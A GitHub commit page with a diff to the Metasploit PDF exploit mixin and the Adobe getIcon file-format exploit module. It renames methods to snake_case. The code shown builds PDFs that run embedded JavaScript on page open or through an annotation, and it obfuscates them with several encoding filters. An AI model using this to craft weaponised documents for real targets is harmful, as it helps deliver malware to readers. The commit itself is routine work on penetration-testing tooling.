Skip to content

Commit fee49b0

Browse files
committed
Land rapid7#4531, Msf::Exploit::PDF method name fix
2 parents 0bece13 + 609c490 commit fee49b0

File tree

2 files changed

+31
-31
lines changed

2 files changed

+31
-31
lines changed

lib/msf/core/exploit/pdf.rb

Lines changed: 30 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ def initialize(info = {})
3030
#Original Filters
3131
##
3232

33-
def ASCIIHexWhitespaceEncode(str)
33+
def ascii_hex_whitespace_encode(str)
3434
return str if not datastore['PDF::Obfuscate']
3535
result = ""
3636
whitespace = ""
@@ -44,7 +44,7 @@ def ASCIIHexWhitespaceEncode(str)
4444
##
4545
#Filters from Origami parser
4646
##
47-
def RunLengthEncode(stream)
47+
def run_length_encode(stream)
4848
eod = 128
4949
result = ""
5050
i = 0
@@ -85,15 +85,15 @@ def RunLengthEncode(stream)
8585
result << eod.chr
8686
end
8787

88-
def RandomNonASCIIString(count)
88+
def random_non_ascii_string(count)
8989
result = ""
9090
count.times do
9191
result << (rand(128) + 128).chr
9292
end
9393
result
9494
end
9595

96-
def ASCII85Encode(stream)
96+
def ascii85_encode(stream)
9797
eod = "~>"
9898
i = 0
9999
code = ""
@@ -130,7 +130,7 @@ def ASCII85Encode(stream)
130130
end
131131

132132
# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
133-
def nObfu(str)
133+
def nobfu(str)
134134
return str if not datastore['PDF::Obfuscate']
135135

136136
result = ""
@@ -149,13 +149,13 @@ def nObfu(str)
149149
##
150150
def header(version = '1.5')
151151
hdr = "%PDF-#{version}" << eol
152-
hdr << "%" << RandomNonASCIIString(4) << eol
152+
hdr << "%" << random_non_ascii_string(4) << eol
153153
hdr
154154
end
155155

156156
def add_object(num, data)
157157
@xref[num] = @pdf.length
158-
@pdf << ioDef(num)
158+
@pdf << io_def(num)
159159
@pdf << data
160160
@pdf << endobj
161161
end
@@ -186,7 +186,7 @@ def xref_table
186186
end
187187

188188
def trailer(root_obj)
189-
ret = "trailer" << nObfu("<</Size %d/Root " % (@xref.length + 1)) << ioRef(root_obj) << ">>" << eol
189+
ret = "trailer" << nobfu("<</Size %d/Root " % (@xref.length + 1)) << io_ref(root_obj) << ">>" << eol
190190
ret
191191
end
192192

@@ -209,18 +209,18 @@ def endobj
209209
"endobj" << eol
210210
end
211211

212-
def ioDef(id)
212+
def io_def(id)
213213
"%d 0 obj" % id
214214
end
215215

216-
def ioRef(id)
216+
def io_ref(id)
217217
"%d 0 R" % id
218218
end
219219

220220
##
221221
#Controller funtion, should be entrypoint for pdf exploits
222222
##
223-
def CreatePDF(js)
223+
def create_pdf(js)
224224
strFilter = ""
225225
arrResults = []
226226
numIterations = 0
@@ -233,10 +233,10 @@ def CreatePDF(js)
233233
end
234234
for i in (0..numIterations-1)
235235
if i == 0
236-
arrResults = SelectEncoder(js,arrEncodings[i],strFilter)
236+
arrResults = select_encoder(js,arrEncodings[i],strFilter)
237237
next
238238
end
239-
arrResults = SelectEncoder(arrResults[0],arrEncodings[i],arrResults[1])
239+
arrResults = select_encoder(arrResults[0],arrEncodings[i],arrResults[1])
240240
end
241241
case datastore['PDF::Method']
242242
when 'PAGE'
@@ -251,19 +251,19 @@ def CreatePDF(js)
251251
##
252252
#Select an encoder and build a filter specification
253253
##
254-
def SelectEncoder(js,strEncode,strFilter)
254+
def select_encoder(js,strEncode,strFilter)
255255
case strEncode
256256
when 'ASCII85'
257-
js = ASCII85Encode(js)
257+
js = ascii85_encode(js)
258258
strFilter = "/ASCII85Decode"<<strFilter
259259
when 'ASCIIHEX'
260-
js = ASCIIHexWhitespaceEncode(js)
260+
js = ascii_hex_whitespace_encode(js)
261261
strFilter = "/ASCIIHexDecode"<<strFilter
262262
when 'FLATE'
263263
js = Zlib::Deflate.deflate(js)
264264
strFilter = "/FlateDecode"<<strFilter
265265
when 'RUN'
266-
js = RunLengthEncode(js)
266+
js = run_length_encode(js)
267267
strFilter = "/RunLengthDecode"<<strFilter
268268
end
269269
return js,strFilter
@@ -277,10 +277,10 @@ def pdf_with_page_exploit(js,strFilter)
277277
@pdf = ''
278278
279279
@pdf << header
280-
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>")
281-
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
282-
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>"))
283-
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << ioRef(5) << nObfu("/S /JavaScript >>>>>>"))
280+
add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
281+
add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
282+
add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
283+
add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>"))
284284
compressed = js
285285
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
286286
stream << "stream" << eol
@@ -301,10 +301,10 @@ def pdf_with_openaction_js(js,strFilter)
301301
302302
@pdf << header
303303
304-
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>")
305-
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
306-
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>"))
307-
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << ioRef(5) << nObfu("/S /JavaScript >>>>>>"))
304+
add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
305+
add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
306+
add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
307+
add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>"))
308308
compressed = js
309309
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
310310
stream << "stream" << eol
@@ -324,11 +324,11 @@ def pdf_with_annot_js(js,strFilter)
324324
325325
@pdf << header
326326
327-
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>")
328-
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
329-
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>"))
330-
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /Annots [") << ioRef(5) << nObfu("]>>"))
331-
add_object(5, nObfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << ioRef(6) << nObfu("/S /JavaScript >>>>>>"))
327+
add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
328+
add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
329+
add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
330+
add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /Annots [") << io_ref(5) << nobfu("]>>"))
331+
add_object(5, nobfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << io_ref(6) << nobfu("/S /JavaScript >>>>>>"))
332332
compressed = js
333333
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
334334
stream << "stream" << eol

modules/exploits/windows/fileformat/adobe_geticon.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -113,7 +113,7 @@ def exploit
113113

114114
# Create the pdf
115115
#pdf = make_pdf(script)
116-
pdf = CreatePDF(script)
116+
pdf = create_pdf(script)
117117
print_status("Creating '#{datastore['FILENAME']}' file...")
118118

119119
file_create(pdf)

0 commit comments

Comments
 (0)